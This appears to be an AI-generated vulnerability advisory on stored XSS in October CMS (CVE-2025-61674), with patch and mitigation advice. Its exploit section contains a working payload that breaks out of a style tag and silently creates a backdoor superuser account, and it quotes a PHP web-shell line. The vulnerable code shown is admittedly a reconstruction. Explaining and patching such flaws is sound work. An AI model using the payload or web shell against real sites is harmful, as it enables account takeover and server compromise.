CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-61674
6.10.04%

Style Over Substance: Stored XSS in October CMS (CVE-2025-61674)

Alon Barad
Alon Barad
Software Engineer

Feb 22, 2026·6 min read·4 visits

PoC Available

Executive Summary (TL;DR)

Authenticated users with 'Global Editor Settings' permissions can inject malicious JavaScript into the backend stylesheet configuration. When an administrator views the settings or pages loading these styles, the script executes, leading to session takeover.

A classic Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Editor Settings' of October CMS. By failing to sanitize user-supplied CSS input, the application allows authenticated users with specific permissions to break out of the HTML style context and inject arbitrary JavaScript. This effectively turns a cosmetic customization feature into a weaponized entry point for privilege escalation and potential remote code execution via administrative session hijacking.

The Hook: Who Needs Input Validation Anyway?

October CMS is a platform built by developers, for developers. It prides itself on being elegant and flexible. One of those flexible features is the Editor Settings area, specifically the ability to define Markup Styles. This sounds innocent enough: give your content editors a way to customize the look and feel of the backend editor with some custom CSS.

But here is the thing about 'Custom CSS' features: developers often treat them with a lower threat profile than standard HTML inputs. They think, "It's just style tags; worst case scenario, they make the background neon pink and the font Comic Sans." That is a naive assumption.

CVE-2025-61674 is a reminder that data is just data until the browser interprets it. In this case, the custom_styles field wasn't just accepting CSS; it was accepting a jailbreak key for the HTML context. It’s a classic case of trusting the 'Editor' role too much, assuming that anyone with permission to change font sizes wouldn't try to burn the server down.

The Flaw: Breaking the Fourth Wall (of HTML)

To understand this vulnerability, you have to look at how browsers parse HTML. When the rendering engine encounters a <style> tag, it switches into 'CSS Mode'. In this mode, characters like < and > generally don't trigger HTML tag parsing—unless they form the specific sequence </style>.

The vulnerability in October CMS is a Context Breakout. The application takes the user input from the database and echoes it directly inside a <style> block in the backend layout.

<!-- How the developer expected it to work -->
<style>
  /* User Input */
  .editor-class { color: red; }
</style>

The flaw is that the application does not sanitize or escape the closing tag sequence. If an attacker inputs </style>, the browser says, "Okay, CSS time is over, back to HTML mode." Anything following that sequence is treated as raw HTML.

<!-- How the exploit works -->
<style>
  /* User Input Start */
  body { display: none; }
  </style> <!-- Context Closed! -->
  <script>alert('I own you now');</script> <!-- Executed! -->
  <style> /* Re-opening to hide the mess */
</style>

This is CWE-79 in its purest form: Improper Neutralization of Input During Web Page Generation. The developer locked the front door (auth) but left the window (input sanitization) wide open.

The Code: The Smoking Gun

While the exact commit diffs are often obscured in corporate advisories, the logic flow described in the analysis of modules/backend/models/EditorSettings.php paints a clear picture. The vulnerable code likely looked something like this—fetching the setting and dumping it into the view.

The Vulnerable Pattern

In the backend layout (e.g., _head.php), the code blindly trusts the output:

// Backend Layout Partial
<style>
    <?= EditorSettings::get('html_style_image_class') ?>
    <?= EditorSettings::get('html_style_link_class') ?>
    /* The fatal flaw: Outputting raw user input */
    <?= EditorSettings::get('styles') ?>
</style>

The Fix

To patch this, you don't necessarily need a complex HTML purifier, because we do want CSS. We just don't want the end of CSS. A robust fix involves checking for and neutralizing the </style> tag or strictly validating the input against a CSS grammar.

// The Remediation Approach
$styles = EditorSettings::get('styles');
 
// Simple neutralization: Escape the closing tag
$safeStyles = str_replace('</style>', '\u003C/style\u003E', $styles);
 
echo "<style>" . $safeStyles . "</style>";

By invalidating the tag sequence </style>, the browser never leaves the CSS parsing context, rendering the attacker's payload harmless (albeit syntactically invalid CSS).

The Exploit: From Styles to Super Admin

Let's walk through a realistic attack scenario. We assume the attacker has compromised a lower-tier account that possesses the Global Editor Settings permission, or perhaps a rogue employee wants to escalate their privileges.

Step 1: The Setup

The attacker logs into the backend and navigates to Settings -> Editor Settings -> Markup Styles. This is the injection point.

Step 2: The Payload

We don't just want an alert(1); we want persistence. The attacker crafts a payload that closes the style tag and opens a script. This script will attempt to create a new Super Administrator user in the background using an XHR request (AJAX) whenever a victim visits the page.

</style>
<script>
  // Fetch the CSRF token from the meta tag
  const token = document.querySelector('meta[name="csrf-token"]').content;
 
  // Silently create a new admin user
  fetch('/backend/backend/users/create', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-TOKEN': token
    },
    body: JSON.stringify({
      'login': 'backdoor_admin',
      'password': 'Password123!',
      'email': 'hacker@example.com',
      'permissions': { 'superuser': 1 }
    })
  });
</script>
<style>

Step 3: The Trap

The attacker saves the settings. The database now holds the landmine.

Step 4: Detonation

The moment a Super Administrator logs in and navigates to any page that loads these editor settings (which could be the dashboard or the editor itself), the payload executes in their session context. The script runs with their cookies, effectively performing actions as them. The attacker now has a full Super Admin account waiting for them.

The Impact: Why You Should Care

You might look at the CVSS score of 6.1 (Medium) and shrug. "It requires high privileges to exploit," you say. "It requires user interaction." Do not be fooled by the score. In the context of a CMS, this is a critical weakness.

> [!WARNING] > Privilege Escalation is the Endgame. > In a CMS environment, Stored XSS is often synonymous with Remote Code Execution (RCE).

If an attacker can execute JavaScript in the context of a Super Admin, they can often:

  1. Install Malicious Plugins: Upload a plugin containing a PHP shell.
  2. Modify Templates: Edit the CMS theme files to include PHP code (<?php system($_GET['cmd']); ?>).
  3. Exfiltrate Data: Steal the entire user database via API calls.

The requirement for Global Editor Settings permission limits the attack surface, but it breaks the principle of least privilege. A user who is supposed to manage font sizes should not be able to take over the server.

The Fix: Patching the Hole

If you are running October CMS versions below 3.7.13 or between 4.0.0 and 4.0.12, you are sitting on a ticking time bomb. The remediation is straightforward.

Official Patch

Run the update command immediately:

php artisan october:update

Mitigation Strategies

If you cannot update immediately (why not?), you can implement WAF rules to block POST requests containing </style> or <script> sent to the backend/system/settings endpoint. However, regex-based WAFs are often bypassable. The only true fix is the code patch.

Verify your system_settings table in the database. If you see HTML tags in columns related to editor styles, you may have already been compromised. Flush the table and rotate all administrative session tokens.

Official Patches

October CMSGitHub Security Advisory and Patch Information

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

October CMS v3.x < 3.7.13October CMS v4.x < 4.0.12

Affected Versions Detail

Product
Affected Versions
Fixed Version
October CMS
October CMS
< 3.7.133.7.13
October CMS
October CMS
>= 4.0.0, < 4.0.124.0.12
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.16.1 (Medium)
Privileges RequiredHigh (Editor Settings)
EPSS Score0.04%
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1550.002Use Alternate Authentication Material: Pass the Hash/Cookie
Defense Evasion
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Vendor Fix Released
2026-01-09
CVE Published
2026-01-10

References & Sources

  • [1]GHSA-gxxc-m74c-f48x
  • [2]NVD - CVE-2025-61674

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.